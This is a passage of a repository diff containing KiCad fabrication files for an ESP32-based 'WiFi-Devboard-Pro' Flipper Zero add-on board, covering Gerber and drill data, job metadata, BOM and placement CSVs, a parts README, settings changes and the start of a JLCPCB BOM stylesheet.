%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Paste,Top*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10R,0.600000X0.750000*%
|
||||
%ADD11R,0.750000X0.600000*%
|
||||
%ADD12R,0.600000X0.620000*%
|
||||
%ADD13R,0.650000X1.200000*%
|
||||
%ADD14R,0.620000X0.600000*%
|
||||
%ADD15R,0.690000X0.720000*%
|
||||
%ADD16R,1.100000X0.700000*%
|
||||
%ADD17R,0.930000X0.900000*%
|
||||
%ADD18R,0.780000X1.050000*%
|
||||
%ADD19R,3.330000X0.700000*%
|
||||
%ADD20R,2.800000X0.860000*%
|
||||
%ADD21R,1.830000X1.140000*%
|
||||
%ADD22R,0.700000X0.700000*%
|
||||
%ADD23R,0.720000X0.690000*%
|
||||
%ADD24R,0.900000X1.500000*%
|
||||
%ADD25R,1.500000X0.900000*%
|
||||
%ADD26R,0.900000X0.900000*%
|
||||
%ADD27R,0.500000X0.900000*%
|
||||
%ADD28R,0.650000X2.770000*%
|
||||
%ADD29R,0.950000X0.800000*%
|
||||
%ADD30R,1.050000X0.650000*%
|
||||
%ADD31R,1.850000X0.900000*%
|
||||
%ADD32R,1.850000X3.200000*%
|
||||
%ADD33R,0.400000X1.000000*%
|
||||
%ADD34R,0.620000X0.640000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,R10*%
|
||||
X134960000Y-97140000D03*
|
||||
X134960000Y-96040000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R15*%
|
||||
X126500000Y-96950000D03*
|
||||
X127600000Y-96950000D03*
|
||||
%TD*%
|
||||
%TO.C,R6*%
|
||||
X150660000Y-104890000D03*
|
||||
X149560000Y-104890000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C7*%
|
||||
X117000000Y-92270000D03*
|
||||
X116080000Y-92270000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R5*%
|
||||
X115300000Y-91350000D03*
|
||||
X115300000Y-92450000D03*
|
||||
%TD*%
|
||||
D13*
|
||||
%TO.C,IC2*%
|
||||
X128460000Y-92600000D03*
|
||||
X126540000Y-92600000D03*
|
||||
X127500000Y-94700000D03*
|
||||
%TD*%
|
||||
%TO.C,IC4*%
|
||||
X138210000Y-102375000D03*
|
||||
X136290000Y-102375000D03*
|
||||
X137250000Y-104475000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,C11*%
|
||||
X136225000Y-97060000D03*
|
||||
X136225000Y-96140000D03*
|
||||
%TD*%
|
||||
D15*
|
||||
%TO.C,C2*%
|
||||
X181985000Y-90350000D03*
|
||||
X181065000Y-90350000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,J6*%
|
||||
X112460000Y-102230000D03*
|
||||
X112460000Y-101130000D03*
|
||||
X112460000Y-100030000D03*
|
||||
X112460000Y-98930000D03*
|
||||
X112460000Y-97830000D03*
|
||||
X112460000Y-96730000D03*
|
||||
X112460000Y-95630000D03*
|
||||
X112460000Y-94530000D03*
|
||||
D17*
|
||||
X124925000Y-104020000D03*
|
||||
D18*
|
||||
X125000000Y-99755000D03*
|
||||
D19*
|
||||
X123725000Y-93370000D03*
|
||||
D20*
|
||||
X112960000Y-93450000D03*
|
||||
D21*
|
||||
X112475000Y-106110000D03*
|
||||
D19*
|
||||
X123725000Y-106330000D03*
|
||||
%TD*%
|
||||
D22*
|
||||
%TO.C,LED1*%
|
||||
X155950000Y-98885000D03*
|
||||
X154850000Y-98885000D03*
|
||||
X154850000Y-100715000D03*
|
||||
X155950000Y-100715000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R4*%
|
||||
X117820000Y-91350000D03*
|
||||
X117820000Y-92450000D03*
|
||||
%TD*%
|
||||
D23*
|
||||
%TO.C,C6*%
|
||||
X133100000Y-99040000D03*
|
||||
X133100000Y-99960000D03*
|
||||
%TD*%
|
||||
D24*
|
||||
%TO.C,IC1*%
|
||||
X176560000Y-91100000D03*
|
||||
X175290000Y-91100000D03*
|
||||
X174020000Y-91100000D03*
|
||||
X172750000Y-91100000D03*
|
||||
X171480000Y-91100000D03*
|
||||
X170210000Y-91100000D03*
|
||||
X168940000Y-91100000D03*
|
||||
X167670000Y-91100000D03*
|
||||
X166400000Y-91100000D03*
|
||||
X165130000Y-91100000D03*
|
||||
X163860000Y-91100000D03*
|
||||
X162590000Y-91100000D03*
|
||||
X161320000Y-91100000D03*
|
||||
X160050000Y-91100000D03*
|
||||
D25*
|
||||
X158800000Y-94135000D03*
|
||||
X158800000Y-95405000D03*
|
||||
X158800000Y-96675000D03*
|
||||
X158800000Y-97945000D03*
|
||||
X158800000Y-99215000D03*
|
||||
X158800000Y-100485000D03*
|
||||
X158800000Y-101755000D03*
|
||||
X158800000Y-103025000D03*
|
||||
X158800000Y-104295000D03*
|
||||
X158800000Y-105565000D03*
|
||||
D24*
|
||||
X160050000Y-108600000D03*
|
||||
X161320000Y-108600000D03*
|
||||
X162590000Y-108600000D03*
|
||||
X163860000Y-108600000D03*
|
||||
X165130000Y-108600000D03*
|
||||
X166400000Y-108600000D03*
|
||||
X167670000Y-108600000D03*
|
||||
X168940000Y-108600000D03*
|
||||
X170210000Y-108600000D03*
|
||||
X171480000Y-108600000D03*
|
||||
X172750000Y-108600000D03*
|
||||
X174020000Y-108600000D03*
|
||||
X175290000Y-108600000D03*
|
||||
X176560000Y-108600000D03*
|
||||
D26*
|
||||
X170240000Y-96950000D03*
|
||||
X168840000Y-96950000D03*
|
||||
X167440000Y-96950000D03*
|
||||
X167440000Y-98350000D03*
|
||||
X167440000Y-99750000D03*
|
||||
X168840000Y-99750000D03*
|
||||
X170240000Y-99750000D03*
|
||||
X170240000Y-98350000D03*
|
||||
X168840000Y-98350000D03*
|
||||
%TD*%
|
||||
D27*
|
||||
%TO.C,LED4*%
|
||||
X127200000Y-99100000D03*
|
||||
X128500000Y-99100000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R2*%
|
||||
X155950000Y-97430000D03*
|
||||
X154850000Y-97430000D03*
|
||||
%TD*%
|
||||
D28*
|
||||
%TO.C,J1*%
|
||||
X143860000Y-101665000D03*
|
||||
X143860000Y-98135000D03*
|
||||
X145130000Y-101665000D03*
|
||||
X145130000Y-98135000D03*
|
||||
X146400000Y-101665000D03*
|
||||
X146400000Y-98135000D03*
|
||||
X147670000Y-101665000D03*
|
||||
X147670000Y-98135000D03*
|
||||
X148940000Y-101665000D03*
|
||||
X148940000Y-98135000D03*
|
||||
%TD*%
|
||||
D23*
|
||||
%TO.C,C5*%
|
||||
X126100000Y-101790000D03*
|
||||
X126100000Y-102710000D03*
|
||||
%TD*%
|
||||
D13*
|
||||
%TO.C,IC5*%
|
||||
X141060000Y-105000000D03*
|
||||
X139140000Y-105000000D03*
|
||||
X140100000Y-107100000D03*
|
||||
%TD*%
|
||||
D29*
|
||||
%TO.C,LED2*%
|
||||
X142800000Y-93050000D03*
|
||||
X142800000Y-94650000D03*
|
||||
%TD*%
|
||||
D30*
|
||||
%TO.C,S2*%
|
||||
X152075000Y-104875000D03*
|
||||
X156225000Y-104875000D03*
|
||||
X152075000Y-107025000D03*
|
||||
X156225000Y-107025000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C4*%
|
||||
X154930000Y-102150000D03*
|
||||
X155850000Y-102150000D03*
|
||||
%TD*%
|
||||
D31*
|
||||
%TO.C,IC3*%
|
||||
X134200000Y-106700000D03*
|
||||
X134200000Y-104400000D03*
|
||||
X134200000Y-102100000D03*
|
||||
D32*
|
||||
X128000000Y-104400000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C3*%
|
||||
X179065000Y-90300000D03*
|
||||
X179985000Y-90300000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,C8*%
|
||||
X129290000Y-97080000D03*
|
||||
X129290000Y-96160000D03*
|
||||
%TD*%
|
||||
D33*
|
||||
%TO.C,U3*%
|
||||
X138250000Y-92600000D03*
|
||||
X137600000Y-92600000D03*
|
||||
X136950000Y-92600000D03*
|
||||
X136950000Y-94600000D03*
|
||||
X137600000Y-94600000D03*
|
||||
X138250000Y-94600000D03*
|
||||
%TD*%
|
||||
D30*
|
||||
%TO.C,S1*%
|
||||
X152075000Y-92725000D03*
|
||||
X156225000Y-92725000D03*
|
||||
X152075000Y-94875000D03*
|
||||
X156225000Y-94875000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R1*%
|
||||
X149700000Y-93800000D03*
|
||||
X150800000Y-93800000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,C9*%
|
||||
X134420000Y-99050000D03*
|
||||
X134420000Y-99970000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R8*%
|
||||
X131610000Y-97150000D03*
|
||||
X131610000Y-96050000D03*
|
||||
%TD*%
|
||||
%TO.C,R12*%
|
||||
X138400000Y-97150000D03*
|
||||
X138400000Y-96050000D03*
|
||||
%TD*%
|
||||
D34*
|
||||
%TO.C,C1*%
|
||||
X150690000Y-94690000D03*
|
||||
X149770000Y-94690000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R11*%
|
||||
X137200000Y-97150000D03*
|
||||
X137200000Y-96050000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,C10*%
|
||||
X133000000Y-97085000D03*
|
||||
X133000000Y-96165000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R13*%
|
||||
X144350000Y-93300000D03*
|
||||
X144350000Y-94400000D03*
|
||||
%TD*%
|
||||
%TO.C,R14*%
|
||||
X147400000Y-93250000D03*
|
||||
X147400000Y-94350000D03*
|
||||
%TD*%
|
||||
D33*
|
||||
%TO.C,U2*%
|
||||
X134800000Y-92600000D03*
|
||||
X134150000Y-92600000D03*
|
||||
X133500000Y-92600000D03*
|
||||
X133500000Y-94600000D03*
|
||||
X134150000Y-94600000D03*
|
||||
X134800000Y-94600000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R9*%
|
||||
X133790000Y-97140000D03*
|
||||
X133790000Y-96040000D03*
|
||||
%TD*%
|
||||
D33*
|
||||
%TO.C,U1*%
|
||||
X131450000Y-92610000D03*
|
||||
X130800000Y-92610000D03*
|
||||
X130150000Y-92610000D03*
|
||||
X130150000Y-94610000D03*
|
||||
X130800000Y-94610000D03*
|
||||
X131450000Y-94610000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R3*%
|
||||
X119900000Y-91360000D03*
|
||||
X119900000Y-92460000D03*
|
||||
%TD*%
|
||||
%TO.C,R7*%
|
||||
X130410000Y-97160000D03*
|
||||
X130410000Y-96060000D03*
|
||||
%TD*%
|
||||
D29*
|
||||
%TO.C,LED3*%
|
||||
X145900000Y-93050000D03*
|
||||
X145900000Y-94650000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,17 @@
|
||||
M48
|
||||
; DRILL file {KiCad (6.0.8)} date Mon Jan 2 13:07:49 2023
|
||||
; FORMAT={-:-/ absolute / inch / decimal}
|
||||
; #@! TF.CreationDate,2023-01-02T13:07:49-05:00
|
||||
; #@! TF.GenerationSoftware,Kicad,Pcbnew,(6.0.8)
|
||||
; #@! TF.FileFunction,NonPlated,1,2,NPTH
|
||||
FMAT,2
|
||||
INCH
|
||||
; #@! TA.AperFunction,NonPlated,NPTH,ComponentDrill
|
||||
T1C0.0866
|
||||
%
|
||||
G90
|
||||
G05
|
||||
T1
|
||||
X7.3661Y-3.9331
|
||||
T0
|
||||
M30
|
||||
@@ -0,0 +1,111 @@
|
||||
M48
|
||||
; DRILL file {KiCad (6.0.8)} date Mon Jan 2 13:07:49 2023
|
||||
; FORMAT={-:-/ absolute / inch / decimal}
|
||||
; #@! TF.CreationDate,2023-01-02T13:07:49-05:00
|
||||
; #@! TF.GenerationSoftware,Kicad,Pcbnew,(6.0.8)
|
||||
; #@! TF.FileFunction,Plated,1,2,PTH
|
||||
FMAT,2
|
||||
INCH
|
||||
; #@! TA.AperFunction,Plated,PTH,ViaDrill
|
||||
T1C0.0118
|
||||
; #@! TA.AperFunction,Plated,PTH,ComponentDrill
|
||||
T2C0.0394
|
||||
%
|
||||
G90
|
||||
G05
|
||||
T1
|
||||
X4.4614Y-3.765
|
||||
X4.5118Y-3.5965
|
||||
X4.5709Y-3.6008
|
||||
X4.6618Y-3.9384
|
||||
X4.6626Y-3.5972
|
||||
X4.7831Y-3.5969
|
||||
X4.8949Y-4.1358
|
||||
X4.9528Y-3.8169
|
||||
X4.9618Y-4.1575
|
||||
X5.0913Y-3.6457
|
||||
X5.1081Y-3.7541
|
||||
X5.1299Y-4.1307
|
||||
X5.154Y-4.2442
|
||||
X5.1965Y-3.7252
|
||||
X5.2102Y-3.6665
|
||||
X5.3067Y-3.6839
|
||||
X5.3091Y-3.9748
|
||||
X5.3248Y-3.9185
|
||||
X5.348Y-3.8756
|
||||
X5.3622Y-3.7333
|
||||
X5.3986Y-3.9892
|
||||
X5.4307Y-3.889
|
||||
X5.5819Y-4.0693
|
||||
X5.5823Y-4.1481
|
||||
X5.6075Y-3.8177
|
||||
X5.6398Y-4.0679
|
||||
X5.6827Y-3.6469
|
||||
X5.7224Y-3.7945
|
||||
X5.8028Y-3.6441
|
||||
X5.8382Y-3.7945
|
||||
X5.8528Y-4.1295
|
||||
X5.8933Y-3.8638
|
||||
X5.9689Y-3.6858
|
||||
X6.0043Y-3.6831
|
||||
X6.0236Y-3.5787
|
||||
X6.0335Y-3.9311
|
||||
X6.1004Y-4.0598
|
||||
X6.1528Y-3.6961
|
||||
X6.187Y-3.8358
|
||||
X6.2461Y-4.2352
|
||||
X6.2984Y-3.8134
|
||||
X6.2984Y-4.0606
|
||||
X6.3012Y-3.7535
|
||||
X6.3236Y-4.1185
|
||||
X6.3248Y-3.7756
|
||||
X6.3492Y-3.7091
|
||||
X6.3514Y-4.2116
|
||||
X6.3516Y-3.6752
|
||||
X6.4012Y-3.6277
|
||||
X6.4508Y-4.2323
|
||||
X6.4512Y-3.6277
|
||||
X6.5004Y-4.2106
|
||||
X6.5012Y-3.6277
|
||||
X6.5512Y-3.6277
|
||||
X6.5512Y-4.2323
|
||||
X6.6012Y-3.6277
|
||||
X6.6014Y-4.2323
|
||||
X6.6276Y-4.1134
|
||||
X6.6512Y-3.6277
|
||||
X6.7008Y-4.2323
|
||||
X6.7012Y-3.6277
|
||||
X6.7512Y-4.2276
|
||||
X6.802Y-4.2268
|
||||
X6.8512Y-3.6362
|
||||
X6.8512Y-4.2295
|
||||
X6.9012Y-4.2303
|
||||
X6.9181Y-3.9774
|
||||
X6.9882Y-3.5827
|
||||
X7.0197Y-3.5551
|
||||
X7.1283Y-3.5831
|
||||
T2
|
||||
X5.0933Y-3.537
|
||||
X5.0933Y-4.3283
|
||||
X5.1933Y-3.537
|
||||
X5.1933Y-4.3283
|
||||
X5.2933Y-3.537
|
||||
X5.2933Y-4.3283
|
||||
X5.3933Y-3.537
|
||||
X5.3933Y-4.3283
|
||||
X5.4933Y-3.537
|
||||
X5.4933Y-4.3283
|
||||
X5.5933Y-3.537
|
||||
X5.5933Y-4.3283
|
||||
X5.6933Y-3.537
|
||||
X5.6933Y-4.3283
|
||||
X5.7933Y-3.537
|
||||
X5.7933Y-4.3283
|
||||
X5.8933Y-3.537
|
||||
X5.8933Y-4.3283
|
||||
X5.9933Y-3.537
|
||||
X5.9933Y-4.3283
|
||||
X6.0933Y-3.537
|
||||
X6.0933Y-4.3283
|
||||
T0
|
||||
M30
|
||||
@@ -0,0 +1,127 @@
|
||||
{
|
||||
"Header": {
|
||||
"GenerationSoftware": {
|
||||
"Vendor": "KiCad",
|
||||
"Application": "Pcbnew",
|
||||
"Version": "(6.0.8)"
|
||||
},
|
||||
"CreationDate": "2023-01-02T13:08:22-05:00"
|
||||
},
|
||||
"GeneralSpecs": {
|
||||
"ProjectId": {
|
||||
"Name": "WiFi-Devboard-Pro",
|
||||
"GUID": "57694669-2d44-4657-9662-6f6172642d50",
|
||||
"Revision": "rev?"
|
||||
},
|
||||
"Size": {
|
||||
"X": 78.56,
|
||||
"Y": 20.2
|
||||
},
|
||||
"LayerNumber": 2,
|
||||
"BoardThickness": 1.6,
|
||||
"Finish": "None"
|
||||
},
|
||||
"DesignRules": [
|
||||
{
|
||||
"Layers": "Outer",
|
||||
"PadToPad": 0.127,
|
||||
"PadToTrack": 0.127,
|
||||
"TrackToTrack": 0.127,
|
||||
"MinLineWidth": 0.127,
|
||||
"TrackToRegion": 0.127,
|
||||
"RegionToRegion": 0.127
|
||||
}
|
||||
],
|
||||
"FilesAttributes": [
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-F_Cu.gbr",
|
||||
"FileFunction": "Copper,L1,Top",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-B_Cu.gbr",
|
||||
"FileFunction": "Copper,L2,Bot",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-F_Paste.gbr",
|
||||
"FileFunction": "SolderPaste,Top",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-B_Paste.gbr",
|
||||
"FileFunction": "SolderPaste,Bot",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-F_Silkscreen.gbr",
|
||||
"FileFunction": "Legend,Top",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-B_Silkscreen.gbr",
|
||||
"FileFunction": "Legend,Bot",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-F_Mask.gbr",
|
||||
"FileFunction": "SolderMask,Top",
|
||||
"FilePolarity": "Negative"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-B_Mask.gbr",
|
||||
"FileFunction": "SolderMask,Bot",
|
||||
"FilePolarity": "Negative"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-Edge_Cuts.gbr",
|
||||
"FileFunction": "Profile",
|
||||
"FilePolarity": "Positive"
|
||||
}
|
||||
],
|
||||
"MaterialStackup": [
|
||||
{
|
||||
"Type": "Legend",
|
||||
"Name": "Top Silk Screen"
|
||||
},
|
||||
{
|
||||
"Type": "SolderPaste",
|
||||
"Name": "Top Solder Paste"
|
||||
},
|
||||
{
|
||||
"Type": "SolderMask",
|
||||
"Thickness": 0.01,
|
||||
"Name": "Top Solder Mask"
|
||||
},
|
||||
{
|
||||
"Type": "Copper",
|
||||
"Thickness": 0.035,
|
||||
"Name": "F.Cu"
|
||||
},
|
||||
{
|
||||
"Type": "Dielectric",
|
||||
"Thickness": 1.51,
|
||||
"Material": "FR4",
|
||||
"Name": "F.Cu/B.Cu",
|
||||
"Notes": "Type: dielectric layer 1 (from F.Cu to B.Cu)"
|
||||
},
|
||||
{
|
||||
"Type": "Copper",
|
||||
"Thickness": 0.035,
|
||||
"Name": "B.Cu"
|
||||
},
|
||||
{
|
||||
"Type": "SolderMask",
|
||||
"Thickness": 0.01,
|
||||
"Name": "Bottom Solder Mask"
|
||||
},
|
||||
{
|
||||
"Type": "SolderPaste",
|
||||
"Name": "Bottom Solder Paste"
|
||||
},
|
||||
{
|
||||
"Type": "Legend",
|
||||
"Name": "Bottom Silk Screen"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
Comment,Designator,Footprint,LCSC
|
||||
"1u","C1","0402",""
|
||||
"22uF","C2,C5","0402",""
|
||||
"100n","C3,C7,C8,C9,C10,C11","0402",""
|
||||
"100nF","C4","0402",""
|
||||
"10uF","C6","0402",""
|
||||
"MountingHole","H1","",""
|
||||
"ESP32-WROOM-32E-N4","IC1","SMD-38P,18x25.5x3.1mm",""
|
||||
"SI2333CDS-T1-E3","IC2,IC4,IC5","SOT-23",""
|
||||
"AZ1117H-3.3TRE1","IC3","SOT-223-3",""
|
||||
"3220-10-0300-00","J1","322010030000",""
|
||||
"X6511WVS-08H-C60D48R1","J2","SMD,P=2.54mm(交错脚)",""
|
||||
"X6511WVS-10H-C60D48R1","J3","HUSRSP10W66P254_2500X250X850P",""
|
||||
"Conn_01x11","J4,J5","SMD,P=2.54mm(交错脚)",""
|
||||
"503398-1892","J6","SMD",""
|
||||
"WS2812B-2020","LED1","WS2812B2020",""
|
||||
"TX","LED2","0603",""
|
||||
"RX","LED3","0603",""
|
||||
"3V3","LED4","0603",""
|
||||
"10k","R1,R6","0402",""
|
||||
"220","R2","0402",""
|
||||
"1K","R3,R4,R5,R13,R14,R15","0402",""
|
||||
"100K","R7,R8,R9,R10,R11,R12","0402",""
|
||||
"SKRPABE010","S1,S2","SMD",""
|
||||
"MMDT2907A-7-F","U1,U2,U3","SOT65P210X110-6N",""
|
||||
|
Binary file not shown.
@@ -0,0 +1,48 @@
|
||||
Designator,Val,Package,Mid X,Mid Y,Rotation,Layer
|
||||
J2,X6511WVS-08H-C60D48R2,HUSRSP8W66P254_2000X250X850P,-127.300000,-102.100000,0.000000,bottom
|
||||
J3,DZ254S-11-10-48,HUSRSP10W66P254_2500X250X850P,-165.400000,-102.100000,0.000000,bottom
|
||||
,,,187.100000,-99.900000,0.000000,top
|
||||
C1,1u,CAPC1005X60N,150.230000,-94.690000,180.000000,top
|
||||
C2,22uF,CAPC1005X80N,181.525000,-90.350000,180.000000,top
|
||||
C3,100n,CAPC1005X55N,179.525000,-90.300000,0.000000,top
|
||||
C4,100nF,CAPC1005X55N,155.390000,-102.150000,0.000000,top
|
||||
C5,22uF,CAPC1005X80N,126.100000,-102.250000,-90.000000,top
|
||||
C6,10uF,CAPC1005X70N,133.100000,-99.500000,-90.000000,top
|
||||
C7,100n,CAPC1005X55N,116.540000,-92.270000,180.000000,top
|
||||
C8,100n,CAPC1005X55N,129.290000,-96.620000,90.000000,top
|
||||
C9,100n,CAPC1005X55N,134.420000,-99.510000,-90.000000,top
|
||||
C10,100n,CAPC1005X55N,133.000000,-96.625000,90.000000,top
|
||||
C11,100n,CAPC1005X55N,136.225000,-96.600000,90.000000,top
|
||||
IC1,ESP32-WROOM-32E-N4,ESP32WROOM32EN4,171.300000,-99.850000,-90.000000,top
|
||||
IC2,DMP1045U-7,SOT96P240X120-3N,127.500000,-93.650000,-90.000000,top
|
||||
IC3,AZ1117H-3.3TRE1,SOT230P700X180-4N,131.100000,-104.400000,180.000000,top
|
||||
IC4,DMP1045U-7,SOT96P240X120-3N,137.250000,-103.425000,-90.000000,top
|
||||
IC5,DMP1045U-7,SOT96P240X120-3N,140.100000,-106.050000,-90.000000,top
|
||||
J1,3220-10-0300-00,322010030000,146.400000,-99.900000,0.000000,top
|
||||
J4,Conn_01x11,PinHeader_1x11_P2.54mm_Vertical,129.370000,-109.940000,90.000000,top
|
||||
J5,Conn_01x11,PinHeader_1x11_P2.54mm_Vertical,129.370000,-89.840000,90.000000,top
|
||||
J6,503398-1892,503398-1892,111.060000,-106.400000,90.000000,top
|
||||
LED1,WS2812B-2020,WS2812B2020,155.400000,-99.800000,90.000000,top
|
||||
LED2,TX,LEDC1608X50N,142.800000,-93.850000,-90.000000,top
|
||||
LED3,RX,LEDC1608X50N,145.900000,-93.850000,-90.000000,top
|
||||
LED4,3V3,19217R6CAL1M2VY3T,127.850000,-99.100000,180.000000,top
|
||||
R1,10k,RESC1005X40N,150.250000,-93.800000,0.000000,top
|
||||
R2,220,RESC1005X40N,155.400000,-97.430000,180.000000,top
|
||||
R3,1K,RESC1005X40N,119.900000,-91.910000,-90.000000,top
|
||||
R4,1K,RESC1005X40N,117.820000,-91.900000,-90.000000,top
|
||||
R5,1K,RESC1005X40N,115.300000,-91.900000,-90.000000,top
|
||||
R6,10k,RESC1005X40N,150.110000,-104.890000,180.000000,top
|
||||
R7,100K,RESC1005X40N,130.410000,-96.610000,90.000000,top
|
||||
R8,100K,RESC1005X40N,131.610000,-96.600000,90.000000,top
|
||||
R9,100K,RESC1005X40N,133.790000,-96.590000,90.000000,top
|
||||
R10,100K,RESC1005X40N,134.960000,-96.590000,90.000000,top
|
||||
R11,100K,RESC1005X40N,137.200000,-96.600000,90.000000,top
|
||||
R12,100K,RESC1005X40N,138.400000,-96.600000,90.000000,top
|
||||
R13,1K,RESC1005X40N,144.350000,-93.850000,-90.000000,top
|
||||
R14,1K,RESC1005X40N,147.400000,-93.800000,-90.000000,top
|
||||
R15,1K,RESC1005X40N,127.050000,-96.950000,0.000000,top
|
||||
S1,SKRPABE010,SKRPABE010,154.150000,-93.800000,0.000000,top
|
||||
S2,SKRPABE010,SKRPABE010,154.150000,-105.950000,0.000000,top
|
||||
U1,MMDT2907A-7-F,SOT65P210X110-6N,130.800000,-93.610000,-90.000000,top
|
||||
U2,MMDT2907A-7-F,SOT65P210X110-6N,134.150000,-93.600000,-90.000000,top
|
||||
U3,MMDT2907A-7-F,SOT65P210X110-6N,137.600000,-93.600000,-90.000000,top
|
||||
|
10
PCBs/FlipperZero/WiFi-Devboard-Pro/README.md
Normal file
10
PCBs/FlipperZero/WiFi-Devboard-Pro/README.md
Normal file
@@ -0,0 +1,10 @@
|
||||
# Parts
|
||||
|
||||
- Header Pin x8: [C2883805](https://www.lcsc.com/product-detail/Pin-Headers_XKB-Connectivity-X6511WVS-08H-C60D48R1_C2883805.html)
|
||||
- Header Pin x10: [C2883807](https://www.lcsc.com/product-detail/Pin-Headers_XKB-Connectivity-X6511WVS-10H-C60D48R1_C2883807.html)
|
||||
- Alternative Header: [M20-8771246](https://www.mouser.com/ProductDetail/Harwin/M20-8771246?qs=WS5Jv%252B%252Bx1qWzrNY%252Bb2U9JQ%3D%3D&countryCode=US¤cyCode=USD)
|
||||
- or [M20-8771042](https://www.mouser.com/ProductDetail/Harwin/M20-8771042?qs=%252Bk6%2F5FB6qrlBSpg9%252Bi11Bg%3D%3D)
|
||||
- Light Pipe: [PLP2-188](https://www.digikey.com/en/products/detail/bivar-inc/PLP2-188/5721973?utm_medium=email&utm_source=oce&utm_campaign=4251_OCE23RT&utm_content=productdetail_US&utm_cid=2955578&so=79456987&mkt_tok=MDI4LVNYSy01MDcAAAGJOBaFWa7m6RHsJZT6mWcYRd9LRyXmqis92EV7j5ftyM5NuNOSOPqUp292m0P5E3FKrEWCFuvb9fObSzuSvVMsopuOMPjO46ylCAR1IzCL)
|
||||
- M2x6mm Round Top Screw: [97763A407](https://www.mcmaster.com/97763A407/)
|
||||
- M2x8mm Countersunk Screw: [91294A005](https://www.mcmaster.com/91294A005/)
|
||||
- M2 Threaded Insert: [94180A307](https://www.mcmaster.com/94180A307/)
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"board": {
|
||||
"active_layer": 0,
|
||||
"active_layer": 44,
|
||||
"active_layer_preset": "",
|
||||
"auto_track_width": false,
|
||||
"hidden_nets": [
|
||||
|
||||
@@ -33,9 +33,9 @@
|
||||
"other_text_thickness": 0.15,
|
||||
"other_text_upright": false,
|
||||
"pads": {
|
||||
"drill": 0.0,
|
||||
"height": 0.62,
|
||||
"width": 0.6
|
||||
"drill": 2.2,
|
||||
"height": 2.2,
|
||||
"width": 2.2
|
||||
},
|
||||
"silk_line_width": 0.15,
|
||||
"silk_text_italic": false,
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
2428
PCBs/FlipperZero/WiFi-Devboard-Pro/WiFi-Devboard-Pro.xml
Normal file
2428
PCBs/FlipperZero/WiFi-Devboard-Pro/WiFi-Devboard-Pro.xml
Normal file
File diff suppressed because it is too large
Load Diff
104
PCBs/FlipperZero/WiFi-Devboard-Pro/bom2grouped_csv_jlcpcb.xsl
Normal file
104
PCBs/FlipperZero/WiFi-Devboard-Pro/bom2grouped_csv_jlcpcb.xsl
Normal file
@@ -0,0 +1,104 @@
|
||||
<!--XSL style sheet to convert EESCHEMA XML Partlist Format to grouped CSV BOM Format
|
||||
Copyright (C) 2014, Wolf Walter.
|
||||
Copyright (C) 2013, Stefan Helmert.
|
||||
Copyright (C) 2018, Kicad developers.
|
||||
Copyright (C) 2019, arturo182.
|
||||
GPL v2.
|
||||
|
||||
Functionality:
|
||||
Generation of JLCPCB PCBA compatible BOM
|
||||
|
||||
How to use this is explained in eeschema.pdf chapter 14. You enter a command line into the
|
||||
netlist exporter using a new (custom) tab in the netlist export dialog.
|
||||
The command line is
|
||||
xsltproc -o "%O.csv" "FullPathToFile/bom2grouped_csv_jlcpcb.xsl" "%I"
|
||||
-->
|
||||
<!--
|
||||
@package
|
||||
Generates a JLCPCB PCBA service compatible BOM
|
||||
|
||||
Functionality:
|
||||
